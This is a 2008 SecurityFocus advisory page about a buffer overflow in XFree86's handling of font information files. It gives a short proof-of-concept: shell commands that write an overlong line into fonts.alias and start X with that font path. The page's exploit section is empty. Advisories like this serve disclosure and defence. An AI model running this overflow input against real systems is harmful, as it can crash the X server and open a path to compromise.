Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

XFree86 Font Information File Buffer Overflow Vulnerability

Currently we are not aware of any working exploits for this issue. The following proof-of-concept example has been provided:

From the command line:

# cat > fonts.dir <<EOF
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD

The Following exploit has also been provided:







 

Privacy Statement
Copyright 2008, SecurityFocus